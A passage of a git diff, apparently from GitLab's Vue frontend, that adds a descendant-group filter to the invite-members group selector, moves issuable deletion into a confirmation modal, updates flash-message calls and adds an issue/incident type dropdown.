+ case GROUP_FILTERS.DESCENDANT_GROUPS:
+ return getDescendentGroups(
+ this.parentGroupId,
+ this.searchTerm,
+ this.$options.defaultFetchOptions,
+ );
+ default:
+ return getGroups(this.searchTerm, this.$options.defaultFetchOptions);
+ }
+ },
},
i18n: {
dropdownText: s__('GroupSelect|Select a group'),
@@ -82,7 +114,7 @@ export default {
menu-class="gl-w-full!"
>
<gl-search-box-by-type
- v-model.trim="searchTerm"
+ v-model="searchTerm"
:is-loading="isFetching"
:placeholder="$options.i18n.searchPlaceholder"
data-qa-selector="group_select_dropdown_search_field"
@@ -93,7 +125,13 @@ export default {
:name="group.name"
@click="selectGroup(group)"
>
- {{ group.name }}
+ <gl-avatar-labeled
+ :label="group.name"
+ :src="group.avatarUrl"
+ :entity-id="group.id"
+ :entity-name="group.name"
+ :size="32"
+ />
</gl-dropdown-item>
<gl-dropdown-text v-if="isFetchResultEmpty && !isFetching" data-testid="empty-result-message">
<span class="gl-text-gray-500">{{ $options.i18n.emptySearchResult }}</span>
diff --git a/app/assets/javascripts/invite_members/components/invite_members_modal.vue b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
index d00a0f1633b..84c8594c6b6 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_modal.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
@@ -16,7 +16,7 @@ import GroupSelect from '~/invite_members/components/group_select.vue';
import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { s__, sprintf } from '~/locale';
-import { INVITE_MEMBERS_IN_COMMENT } from '../constants';
+import { INVITE_MEMBERS_IN_COMMENT, GROUP_FILTERS } from '../constants';
import eventHub from '../event_hub';
export default {
@@ -54,6 +54,16 @@ export default {
type: Number,
required: true,
},
+ groupSelectFilter: {
+ type: String,
+ required: false,
+ default: GROUP_FILTERS.ALL,
+ },
+ groupSelectParentId: {
+ type: Number,
+ required: false,
+ default: null,
+ },
helpLink: {
type: String,
required: true,
@@ -68,6 +78,7 @@ export default {
newUsersToInvite: [],
selectedDate: undefined,
groupToBeSharedWith: {},
+ source: 'unknown',
};
},
computed: {
@@ -195,6 +206,7 @@ export default {
...this.basePostData,
email: usersToInviteByEmail,
access_level: this.selectedAccessLevel,
+ invite_source: this.source,
};
},
addByUserIdPostData(usersToAddById) {
@@ -202,6 +214,7 @@ export default {
...this.basePostData,
user_id: usersToAddById,
access_level: this.selectedAccessLevel,
+ invite_source: this.source,
};
},
shareWithGroupPostData(groupToBeSharedWith) {
@@ -251,11 +264,11 @@ export default {
),
},
},
- accessLevel: s__('InviteMembersModal|Choose a role permission'),
+ accessLevel: s__('InviteMembersModal|Select a role'),
accessExpireDate: s__('InviteMembersModal|Access expiration date (optional)'),
toastMessageSuccessful: s__('InviteMembersModal|Members were successfully added'),
toastMessageUnsuccessful: s__('InviteMembersModal|Some of the members could not be added'),
- readMoreText: s__(`InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions`),
+ readMoreText: s__(`InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles.`),
inviteButtonText: s__('InviteMembersModal|Invite'),
cancelButtonText: s__('InviteMembersModal|Cancel'),
headerCloseLabel: s__('InviteMembersModal|Close invite team members'),
@@ -290,7 +303,12 @@ export default {
:aria-labelledby="$options.membersTokenSelectLabelId"
:placeholder="$options.labels[inviteeType].placeHolder"
/>
- <group-select v-if="isInviteGroup" v-model="groupToBeSharedWith" />
+ <group-select
+ v-if="isInviteGroup"
+ v-model="groupToBeSharedWith"
+ :groups-filter="groupSelectFilter"
+ :parent-group-id="groupSelectParentId"
+ />
</div>
<label class="gl-font-weight-bold gl-mt-3">{{ $options.labels.accessLevel }}</label>
diff --git a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
index e297bb6c806..ec7d466336e 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
@@ -29,8 +29,7 @@ export default {
},
triggerSource: {
type: String,
- required: false,
- default: 'unknown',
+ required: true,
},
trackExperiment: {
type: String,
diff --git a/app/assets/javascripts/invite_members/constants.js b/app/assets/javascripts/invite_members/constants.js
index a651b81c60e..0c5538d5b86 100644
--- a/app/assets/javascripts/invite_members/constants.js
+++ b/app/assets/javascripts/invite_members/constants.js
@@ -1,3 +1,8 @@
export const SEARCH_DELAY = 200;
export const INVITE_MEMBERS_IN_COMMENT = 'invite_members_in_comment';
+
+export const GROUP_FILTERS = {
+ ALL: 'all',
+ DESCENDANT_GROUPS: 'descendant_groups',
+};
diff --git a/app/assets/javascripts/invite_members/init_invite_members_modal.js b/app/assets/javascripts/invite_members/init_invite_members_modal.js
index fc77bd53ba4..7501e9f4e6e 100644
--- a/app/assets/javascripts/invite_members/init_invite_members_modal.js
+++ b/app/assets/javascripts/invite_members/init_invite_members_modal.js
@@ -21,6 +21,8 @@ export default function initInviteMembersModal() {
isProject: parseBoolean(el.dataset.isProject),
accessLevels: JSON.parse(el.dataset.accessLevels),
defaultAccessLevel: parseInt(el.dataset.defaultAccessLevel, 10),
+ groupSelectFilter: el.dataset.groupsFilter,
+ groupSelectParentId: parseInt(el.dataset.parentId, 10),
},
}),
});
diff --git a/app/assets/javascripts/invite_members/init_invite_members_trigger.js b/app/assets/javascripts/invite_members/init_invite_members_trigger.js
index a7b95960995..935edb35349 100644
--- a/app/assets/javascripts/invite_members/init_invite_members_trigger.js
+++ b/app/assets/javascripts/invite_members/init_invite_members_trigger.js
@@ -2,19 +2,21 @@ import Vue from 'vue';
import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
export default function initInviteMembersTrigger() {
- const el = document.querySelector('.js-invite-members-trigger');
+ const triggers = document.querySelectorAll('.js-invite-members-trigger');
- if (!el) {
+ if (!triggers) {
return false;
}
- return new Vue({
- el,
- render: (createElement) =>
- createElement(InviteMembersTrigger, {
- props: {
- ...el.dataset,
- },
- }),
+ return triggers.forEach((el) => {
+ return new Vue({
+ el,
+ render: (createElement) =>
+ createElement(InviteMembersTrigger, {
+ props: {
+ ...el.dataset,
+ },
+ }),
+ });
});
}
diff --git a/app/assets/javascripts/issuable/components/csv_export_modal.vue b/app/assets/javascripts/issuable/components/csv_export_modal.vue
index f17440a4a14..5c880cbfad8 100644
--- a/app/assets/javascripts/issuable/components/csv_export_modal.vue
+++ b/app/assets/javascripts/issuable/components/csv_export_modal.vue
@@ -51,7 +51,6 @@ export default {
</template>
<div
v-if="issuableCount > -1"
- data-testid="issuable-count-note"
class="gl-justify-content-start gl-align-items-center gl-p-4 gl-border-b-solid gl-border-1 gl-border-gray-50"
>
<gl-icon name="check" class="gl-color-green-400" />
diff --git a/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue b/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
index fb4d5aca2f5..4fdd094072c 100644
--- a/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
+++ b/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
@@ -72,9 +72,6 @@ export default {
importModalId() {
return `${this.issuableType}-import-modal`;
},
- importButtonText() {
- return this.showLabel ? this.$options.i18n.importIssuesText : null;
- },
importButtonTooltipText() {
return this.showLabel ? null : this.$options.i18n.importIssuesText;
},
@@ -87,32 +84,28 @@ export default {
<template>
<div :class="containerClass">
- <gl-button-group>
+ <gl-button-group class="gl-w-full">
<gl-button
v-if="showExportButton"
- v-gl-tooltip.hover="$options.i18n.exportAsCsvButtonText"
+ v-gl-tooltip="$options.i18n.exportAsCsvButtonText"
v-gl-modal="exportModalId"
icon="export"
:aria-label="$options.i18n.exportAsCsvButtonText"
data-qa-selector="export_as_csv_button"
- data-testid="export-csv-button"
/>
<gl-dropdown
v-if="showImportButton"
- v-gl-tooltip.hover="importButtonTooltipText"
+ v-gl-tooltip="importButtonTooltipText"
data-qa-selector="import_issues_dropdown"
- data-testid="import-csv-dropdown"
- :text="importButtonText"
+ :text="$options.i18n.importIssuesText"
+ :text-sr-only="!showLabel"
:icon="importButtonIcon"
>
- <gl-dropdown-item v-gl-modal="importModalId" data-testid="import-csv-link">{{
- __('Import CSV')
- }}</gl-dropdown-item>
+ <gl-dropdown-item v-gl-modal="importModalId">{{ __('Import CSV') }}</gl-dropdown-item>
<gl-dropdown-item
v-if="canEdit"
:href="projectImportJiraPath"
data-qa-selector="import_from_jira_link"
- data-testid="import-from-jira-link"
>{{ __('Import from Jira') }}</gl-dropdown-item
>
</gl-dropdown>
diff --git a/app/assets/javascripts/issuable/components/csv_import_modal.vue b/app/assets/javascripts/issuable/components/csv_import_modal.vue
index 77fc2f31583..c85efd60b8b 100644
--- a/app/assets/javascripts/issuable/components/csv_import_modal.vue
+++ b/app/assets/javascripts/issuable/components/csv_import_modal.vue
@@ -48,13 +48,7 @@ export default {
<template>
<gl-modal :modal-id="modalId" :title="__('Import issues')">
- <form
- ref="form"
- :action="importCsvIssuesPath"
- enctype="multipart/form-data"
- method="post"
- data-testid="import-csv-form"
- >
+ <form ref="form" :action="importCsvIssuesPath" enctype="multipart/form-data" method="post">
<input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
<p>
{{
diff --git a/app/assets/javascripts/issuable/components/issuable_by_email.vue b/app/assets/javascripts/issuable/components/issuable_by_email.vue
index d0ce8c2c34b..c659dfef495 100644
--- a/app/assets/javascripts/issuable/components/issuable_by_email.vue
+++ b/app/assets/javascripts/issuable/components/issuable_by_email.vue
@@ -91,7 +91,7 @@ export default {
<template>
<div>
- <gl-button v-gl-modal="$options.modalId" variant="link" data-testid="issuable-email-modal-btn"
+ <gl-button v-gl-modal="$options.modalId" variant="link"
><gl-sprintf :message="__('Email a new %{name} to this project')"
><template #name>{{ issuableName }}</template></gl-sprintf
></gl-button
@@ -122,7 +122,6 @@ export default {
:title="$options.i18n.sendEmail"
:aria-label="$options.i18n.sendEmail"
icon="mail"
- data-testid="mail-to-btn"
/>
</template>
</gl-form-input-group>
@@ -146,22 +145,23 @@ export default {
<gl-sprintf
:message="
__(
- 'This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens.',
+ 'This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}.',
)
"
>
<template #helpIcon>
- <gl-link :href="emailsHelpPagePath" target="_blank"
- ><gl-icon class="gl-text-blue-600" name="question-o"
- /></gl-link>
+ <gl-link :href="emailsHelpPagePath" target="_blank">
+ <gl-icon class="gl-text-blue-600" name="question-o" />
+ </gl-link>
</template>
<template #resetLink="{ content }">
<gl-button
variant="link"
- data-testid="incoming-email-token-reset"
+ data-testid="reset_email_token_link"
@click="resetIncomingEmailToken"
- >{{ content }}</gl-button
>
+ {{ content }}
+ </gl-button>
</template>
</gl-sprintf>
</p>
diff --git a/app/assets/javascripts/issuable/components/status_box.vue b/app/assets/javascripts/issuable/components/status_box.vue
index cb768f2bc5b..bd6fdc131cb 100644
--- a/app/assets/javascripts/issuable/components/status_box.vue
+++ b/app/assets/javascripts/issuable/components/status_box.vue
@@ -91,11 +91,7 @@ export default {
<template>
<div :class="statusBoxClass" class="issuable-status-box status-box">
- <gl-icon
- :name="statusIconName"
- class="gl-display-block gl-sm-display-none!"
- data-testid="status-icon"
- />
+ <gl-icon :name="statusIconName" class="gl-display-block gl-sm-display-none!" />
<span class="gl-display-none gl-sm-display-block">
{{ statusHumanName }}
</span>
diff --git a/app/assets/javascripts/issuable_form.js b/app/assets/javascripts/issuable_form.js
index 9a1ab23e366..fd9e3d5c916 100644
--- a/app/assets/javascripts/issuable_form.js
+++ b/app/assets/javascripts/issuable_form.js
@@ -31,7 +31,7 @@ function organizeQuery(obj, isFallbackKey = false) {
}
function format(searchTerm, isFallbackKey = false) {
- const queryObject = queryToObject(searchTerm);
+ const queryObject = queryToObject(searchTerm, { legacySpacesDecode: true });
const organizeQueryObject = organizeQuery(queryObject, isFallbackKey);
const formattedQuery = objectToQuery(organizeQueryObject);
diff --git a/app/assets/javascripts/issuable_list/components/issuable_item.vue b/app/assets/javascripts/issuable_list/components/issuable_item.vue
index 7635536c54f..348dc054f57 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_item.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_item.vue
@@ -183,8 +183,8 @@ export default {
:title="__('Confidential')"
:aria-label="__('Confidential')"
/>
- <gl-link :href="webUrl" v-bind="issuableTitleProps"
- >{{ issuable.title
+ <gl-link :href="webUrl" v-bind="issuableTitleProps">
+ {{ issuable.title
}}<gl-icon v-if="isIssuableUrlExternal" name="external-link" class="gl-ml-2"
/></gl-link>
</span>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
index dfe158ae2b0..977d03e62be 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
@@ -36,7 +36,7 @@ export default {
<template>
<div class="top-area">
<gl-tabs
- class="gl-display-flex gl-flex-fill-1 gl-p-0 gl-m-0 mobile-separator issuable-state-filters"
+ class="gl-display-flex gl-flex-grow-1 gl-p-0 gl-m-0 mobile-separator issuable-state-filters"
nav-class="gl-border-b-0"
>
<gl-tab
diff --git a/app/assets/javascripts/issue_show/components/app.vue b/app/assets/javascripts/issue_show/components/app.vue
index 01b4e81a11a..b7e24a8b17e 100644
--- a/app/assets/javascripts/issue_show/components/app.vue
+++ b/app/assets/javascripts/issue_show/components/app.vue
@@ -1,12 +1,20 @@
<script>
import { GlIcon, GlIntersectionObserver } from '@gitlab/ui';
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import Poll from '~/lib/utils/poll';
import { visitUrl } from '~/lib/utils/url_utility';
import { __, s__, sprintf } from '~/locale';
-import { IssuableStatus, IssuableStatusText, IssuableType } from '../constants';
+import {
+ IssuableStatus,
+ IssuableStatusText,
+ IssuableType,
+ IssueTypePath,
+ IncidentTypePath,
+ IncidentType,
+} from '../constants';
import eventHub from '../event_hub';
+import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
import Service from '../services/index';
import Store from '../stores';
import descriptionComponent from './description.vue';
@@ -195,8 +203,14 @@ export default {
showForm: false,
templatesRequested: false,
isStickyHeaderShowing: false,
+ issueState: {},
};
},
+ apollo: {
+ issueState: {
+ query: getIssueStateQuery,
+ },
+ },
computed: {
issuableTemplates() {
return this.store.formState.issuableTemplates;
@@ -288,7 +302,7 @@ export default {
methods: {
handleBeforeUnloadEvent(e) {
const event = e;
- if (this.showForm && this.issueChanged) {
+ if (this.showForm && this.issueChanged && !this.issueState.isDirty) {
event.returnValue = __('Are you sure you want to lose your issue information?');
}
return undefined;
@@ -302,7 +316,9 @@ export default {
this.store.updateState(data);
})
.catch(() => {
- createFlash(this.defaultErrorMessage);
+ createFlash({
+ message: this.defaultErrorMessage,
+ });
});
},
@@ -327,7 +343,9 @@ export default {
this.updateAndShowForm(res.data);
})
.catch(() => {
- createFlash(this.defaultErrorMessage);
+ createFlash({
+ message: this.defaultErrorMessage,
+ });
this.updateAndShowForm();
});
},
@@ -346,14 +364,32 @@ export default {
},
updateIssuable() {
+ const {
+ store: { formState },
+ issueState,
+ } = this;
+ const issuablePayload = issueState.isDirty
+ ? { ...formState, issue_type: issueState.issueType }
+ : formState;
this.clearFlash();
return this.service
- .updateIssuable(this.store.formState)
+ .updateIssuable(issuablePayload)
.then((res) => res.data)
.then((data) => {
- if (!window.location.pathname.includes(data.web_url)) {
+ if (
+ !window.location.pathname.includes(data.web_url) &&
+ issueState.issueType !== IncidentType
+ ) {
visitUrl(data.web_url);
}
+
+ if (issueState.isDirty) {
+ const URI =
+ issueState.issueType === IncidentType
+ ? data.web_url.replace(IssueTypePath, IncidentTypePath)
+ : data.web_url;
+ visitUrl(URI);
+ }
})
.then(this.updateStoreState)
.then(() => {
@@ -374,7 +410,9 @@ export default {
errMsg += `. ${message}`;
}
- this.flashContainer = createFlash(errMsg);
+ this.flashContainer = createFlash({
+ message: errMsg,
+ });
});
},
@@ -389,9 +427,11 @@ export default {
visitUrl(data.web_url);
})
.catch(() => {
- createFlash(
- sprintf(s__('Error deleting %{issuableType}'), { issuableType: this.issuableType }),
- );
+ createFlash({
+ message: sprintf(s__('Error deleting %{issuableType}'), {
+ issuableType: this.issuableType,
+ }),
+ });
});
},
diff --git a/app/assets/javascripts/issue_show/components/description.vue b/app/assets/javascripts/issue_show/components/description.vue
index 68bc6fe4c0e..0812392f804 100644
--- a/app/assets/javascripts/issue_show/components/description.vue
+++ b/app/assets/javascripts/issue_show/components/description.vue
@@ -1,7 +1,7 @@
<script>
import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import $ from 'jquery';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { s__, sprintf } from '~/locale';
import TaskList from '../../task_list';
import animateMixin from '../mixins/animate';
@@ -92,8 +92,8 @@ export default {
},
taskListUpdateError() {
- createFlash(
- sprintf(
+ createFlash({
+ message: sprintf(
s__(
'Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again.',
),
@@ -101,7 +101,7 @@ export default {
issueType: this.issuableType,
},
),
- );
+ });
this.$emit('taskListUpdateFailed');
},
diff --git a/app/assets/javascripts/issue_show/components/edit_actions.vue b/app/assets/javascripts/issue_show/components/edit_actions.vue
index 7733e366c4f..5b7d232fde7 100644
--- a/app/assets/javascripts/issue_show/components/edit_actions.vue
+++ b/app/assets/javascripts/issue_show/components/edit_actions.vue
@@ -1,17 +1,24 @@
<script>
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlModal, GlModalDirective } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
import { __, sprintf } from '~/locale';
import eventHub from '../event_hub';
import updateMixin from '../mixins/update';
+import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
const issuableTypes = {
issue: __('Issue'),
epic: __('Epic'),
+ incident: __('Incident'),
};
export default {
components: {
GlButton,
+ GlModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
},
mixins: [updateMixin],
props: {
@@ -36,19 +43,56 @@ export default {
data() {
return {
deleteLoading: false,
+ skipApollo: false,
+ issueState: {},
+ modalId: uniqueId('delete-issuable-modal-'),
};
},
+ apollo: {
+ issueState: {
+ query: getIssueStateQuery,
+ skip() {
+ return this.skipApollo;
+ },
+ result() {
+ this.skipApollo = true;
+ },
+ },
+ },
computed: {
+ deleteIssuableButtonText() {
+ return sprintf(__('Delete %{issuableType}'), {
+ issuableType: this.typeToShow.toLowerCase(),
+ });
+ },
+ deleteIssuableModalText() {
+ return this.issuableType === 'epic'
+ ? __('Delete this epic and all descendants?')
+ : sprintf(__('%{issuableType} will be removed! Are you sure?'), {
+ issuableType: this.typeToShow,
+ });
+ },
isSubmitEnabled() {
return this.formState.title.trim() !== '';
},
+ modalActionProps() {
+ return {
+ primary: {
+ text: this.deleteIssuableButtonText,
+ attributes: [{ variant: 'danger' }, { loading: this.deleteLoading }],
+ },
+ cancel: {
+ text: __('Cancel'),
+ },
+ };
+ },
shouldShowDeleteButton() {
return this.canDestroy && this.showDeleteButton;
},
- deleteIssuableButtonText() {
- return sprintf(__('Delete %{issuableType}'), {
- issuableType: issuableTypes[this.issuableType].toLowerCase(),
- });
+ typeToShow() {
+ const { issueState, issuableType } = this;
+ const type = issueState.issueType ?? issuableType;
+ return issuableTypes[type];
},
},
methods: {
@@ -56,49 +100,57 @@ export default {
eventHub.$emit('close.form');
},
deleteIssuable() {
- const confirmMessage =
- this.issuableType === 'epic'
- ? __('Delete this epic and all descendants?')
- : sprintf(__('%{issuableType} will be removed! Are you sure?'), {
- issuableType: issuableTypes[this.issuableType],
- });
- // eslint-disable-next-line no-alert
- if (window.confirm(confirmMessage)) {
- this.deleteLoading = true;
-
- eventHub.$emit('delete.issuable', { destroy_confirm: true });
- }
+ this.deleteLoading = true;
+ eventHub.$emit('delete.issuable', { destroy_confirm: true });
},
},
};
</script>
<template>
- <div class="gl-mt-3 gl-mb-3 clearfix">
- <gl-button
- :loading="formState.updateLoading"
- :disabled="formState.updateLoading || !isSubmitEnabled"
- category="primary"
- variant="confirm"
- class="float-left qa-save-button gl-mr-3"
- type="submit"
- @click.prevent="updateIssuable"
- >
- {{ __('Save changes') }}
- </gl-button>
- <gl-button @click="closeForm">
- {{ __('Cancel') }}
- </gl-button>
- <gl-button
- v-if="shouldShowDeleteButton"
- :loading="deleteLoading"
- :disabled="deleteLoading"
- category="secondary"
- variant="danger"
- class="float-right qa-delete-button"
- @click="deleteIssuable"
- >
- {{ deleteIssuableButtonText }}
- </gl-button>
+ <div class="gl-mt-3 gl-mb-3 gl-display-flex gl-justify-content-space-between">
+ <div>
+ <gl-button
+ :loading="formState.updateLoading"
+ :disabled="formState.updateLoading || !isSubmitEnabled"
+ category="primary"
+ variant="confirm"
+ class="qa-save-button gl-mr-3"
+ data-testid="issuable-save-button"
+ type="submit"
+ @click.prevent="updateIssuable"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ <gl-button data-testid="issuable-cancel-button" @click="closeForm">
+ {{ __('Cancel') }}
+ </gl-button>
+ </div>
+ <div v-if="shouldShowDeleteButton">
+ <gl-button
+ v-gl-modal="modalId"
+ :loading="deleteLoading"
+ :disabled="deleteLoading"
+ category="secondary"
+ variant="danger"
+ class="qa-delete-button"
+ data-testid="issuable-delete-button"
+ >
+ {{ deleteIssuableButtonText }}
+ </gl-button>
+ <gl-modal
+ ref="removeModal"
+ :modal-id="modalId"
+ size="sm"
+ :action-primary="modalActionProps.primary"
+ :action-cancel="modalActionProps.cancel"
+ @primary="deleteIssuable"
+ >
+ <template #modal-title>{{ deleteIssuableButtonText }}</template>
+ <div>
+ <p class="gl-mb-1">{{ deleteIssuableModalText }}</p>
+ </div>
+ </gl-modal>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/issue_show/components/fields/description_template.vue b/app/assets/javascripts/issue_show/components/fields/description_template.vue
index 14df87e486b..9bfdbb41e23 100644
--- a/app/assets/javascripts/issue_show/components/fields/description_template.vue
+++ b/app/assets/javascripts/issue_show/components/fields/description_template.vue
@@ -54,14 +54,14 @@ export default {
<template>
<!-- eslint-disable @gitlab/vue-no-data-toggle -->
- <div class="dropdown js-issuable-selector-wrap" data-issuable-type="issues">
+ <div class="dropdown js-issuable-selector-wrap gl-mb-0" data-issuable-type="issues">
<button
ref="toggle"
:data-namespace-path="projectNamespace"
:data-project-path="projectPath"
:data-project-id="projectId"
:data-data="issuableTemplatesJson"
- class="dropdown-menu-toggle js-issuable-selector"
+ class="dropdown-menu-toggle js-issuable-selector gl-button"
type="button"
data-field-name="issuable_template"
data-selected="null"
diff --git a/app/assets/javascripts/issue_show/components/fields/title.vue b/app/assets/javascripts/issue_show/components/fields/title.vue
index d331fb47077..a73926575d0 100644
--- a/app/assets/javascripts/issue_show/components/fields/title.vue
+++ b/app/assets/javascripts/issue_show/components/fields/title.vue
@@ -20,7 +20,7 @@ export default {
id="issuable-title"
ref="input"
v-model="formState.title"
- class="form-control qa-title-input"
+ class="form-control qa-title-input gl-border-gray-200"
dir="auto"
type="text"
:placeholder="__('Title')"
diff --git a/app/assets/javascripts/issue_show/components/fields/type.vue b/app/assets/javascripts/issue_show/components/fields/type.vue
new file mode 100644
index 00000000000..1ed222531f4
--- /dev/null
+++ b/app/assets/javascripts/issue_show/components/fields/type.vue
@@ -0,0 +1,79 @@
+<script>
+import { GlFormGroup, GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { capitalize } from 'lodash';
+import { __ } from '~/locale';
+import { IssuableTypes } from '../../constants';
+import getIssueStateQuery from '../../queries/get_issue_state.query.graphql';
+import updateIssueStateMutation from '../../queries/update_issue_state.mutation.graphql';
+
+export const i18n = {
+ label: __('Issue Type'),
+};
+
+export default {
+ i18n,
+ IssuableTypes,
+ components: {
+ GlFormGroup,
+ GlDropdown,
+ GlDropdownItem,
+ },
+ data() {
+ return {
+ issueState: {},
+ };
+ },
+ apollo: {
+ issueState: {
+ query: getIssueStateQuery,
+ },
+ },
+ computed: {
+ dropdownText() {
+ const {
+ issueState: { issueType },
+ } = this;
+ return capitalize(issueType);
+ },
+ },
+ methods: {
+ updateIssueType(issueType) {
+ this.$apollo.mutate({
+ mutation: updateIssueStateMutation,
+ variables: {
+ issueType,
+ isDirty: true,
+ },
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form-group
+ :label="$options.i18n.label"
+ label-class="sr-only"
+ label-for="issuable-type"
+ class="mb-2 mb-md-0"
+ >
+ <gl-dropdown
+ id="issuable-type"
+ :aria-labelledby="$options.i18n.label"
+ :text="dropdownText"
+ :header-text="$options.i18n.label"
+ class="gl-w-full"
+ toggle-class="dropdown-menu-toggle"
+ >
+ <gl-dropdown-item
+ v-for="type in $options.IssuableTypes"
+ :key="type.value"
+ :is-checked="issueState.issueType === type.value"
+ is-check-item
+ @click="updateIssueType(type.value)"
+ >
+ {{ type.text }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/form.vue b/app/assets/javascripts/issue_show/components/form.vue
index b37a911a669..bdaa8a4dd6b 100644
--- a/app/assets/javascripts/issue_show/components/form.vue
+++ b/app/assets/javascripts/issue_show/components/form.vue
@@ -2,21 +2,24 @@
import { GlAlert } from '@gitlab/ui';
import $ from 'jquery';
import Autosave from '~/autosave';
+import { IssuableType } from '~/issue_show/constants';
import eventHub from '../event_hub';
-import editActions from './edit_actions.vue';
-import descriptionField from './fields/description.vue';
-import descriptionTemplate from './fields/description_template.vue';
-import titleField from './fields/title.vue';
-import lockedWarning from './locked_warning.vue';
+import EditActions from './edit_actions.vue';
+import DescriptionField from './fields/description.vue';
+import DescriptionTemplateField from './fields/description_template.vue';
+import IssuableTitleField from './fields/title.vue';
+import IssuableTypeField from './fields/type.vue';
+import LockedWarning from './locked_warning.vue';
export default {
components: {
- lockedWarning,
- titleField,
- descriptionField,
- descriptionTemplate,
- editActions,
+ DescriptionField,
+ DescriptionTemplateField,
+ EditActions,
GlAlert,
+ IssuableTitleField,
+ IssuableTypeField,
+ LockedWarning,
},
props: {
canDestroy: {
@@ -89,6 +92,9 @@ export default {
showLockedWarning() {
return this.formState.lockedWarningVisible && !this.formState.updateLoading;
},
+ isIssueType() {
+ return this.issuableType === IssuableType.Issue;
+ },
},
created() {
eventHub.$on('delete.issuable', this.resetAutosave);
@@ -162,7 +168,7 @@ export default {
</script>
<template>
- <form>
+ <form data-testid="issuable-form">
<locked-warning v-if="showLockedWarning" />
<gl-alert
v-if="showOutdatedDescriptionWarning"
@@ -179,9 +185,17 @@ export default {
)
}}</gl-alert
>
+ <div class="row gl-mb-3">
+ <div class="col-12">
+ <issuable-title-field ref="title" :form-state="formState" />
+ </div>
+ </div>
<div class="row">
- <div v-if="hasIssuableTemplates" class="col-sm-4 col-lg-3">
- <description-template
+ <div v-if="isIssueType" class="col-12 col-md-4 pr-md-0">
+ <issuable-type-field ref="issue-type" />
+ </div>
+ <div v-if="hasIssuableTemplates" class="col-12 col-md-4 pl-md-2">
+ <description-template-field
:form-state="formState"
:issuable-templates="issuableTemplates"
:project-path="projectPath"
@@ -189,14 +203,6 @@ export default {
:project-namespace="projectNamespace"
/>
</div>
- <div
- :class="{
- 'col-sm-8 col-lg-9': hasIssuableTemplates,
- 'col-12': !hasIssuableTemplates,
- }"
- >
- <title-field ref="title" :form-state="formState" :issuable-templates="issuableTemplates" />
- </div>
</div>
<description-field
ref="description"
diff --git a/app/assets/javascripts/issue_show/constants.js b/app/assets/javascripts/issue_show/constants.js
index a5ca91dffd4..d93f38c2ee1 100644
--- a/app/assets/javascripts/issue_show/constants.js
+++ b/app/assets/javascripts/issue_show/constants.js
@@ -16,6 +16,7 @@ export const IssuableType = {
Issue: 'issue',
Epic: 'epic',
MergeRequest: 'merge_request',
+ Alert: 'alert',
};
export const IssueStateEvent = {
@@ -25,3 +26,14 @@ export const IssueStateEvent = {
export const STATUS_PAGE_PUBLISHED = __('Published on status page');
export const JOIN_ZOOM_MEETING = __('Join Zoom meeting');
+
+export const IssuableTypes = [
+ { value: 'issue', text: __('Issue') },
+ { value: 'incident', text: __('Incident') },
+];
+
+export const IssueTypePath = 'issues';
+export const IncidentTypePath = 'issues/incident';
+export const IncidentType = 'incident';
+
+export const issueState = { issueType: undefined, isDirty: false };
diff --git a/app/assets/javascripts/issue_show/graphql.js b/app/assets/javascripts/issue_show/graphql.js
new file mode 100644
index 00000000000..5b8630f7d63
--- /dev/null
+++ b/app/assets/javascripts/issue_show/graphql.js
@@ -0,0 +1,9 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { defaultClient } from '~/sidebar/graphql';
+
+Vue.use(VueApollo);
+
+export default new VueApollo({
+ defaultClient,
+});
diff --git a/app/assets/javascripts/issue_show/incident.js b/app/assets/javascripts/issue_show/incident.js
index 0c81ecdc843..df986195656 100644
--- a/app/assets/javascripts/issue_show/incident.js
+++ b/app/assets/javascripts/issue_show/incident.js
@@ -1,15 +1,23 @@
import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
import { parseBoolean } from '~/lib/utils/common_utils';
import issuableApp from './components/app.vue';
import incidentTabs from './components/incidents/incident_tabs.vue';
-
-Vue.use(VueApollo);
+import { issueState } from './constants';
+import apolloProvider from './graphql';
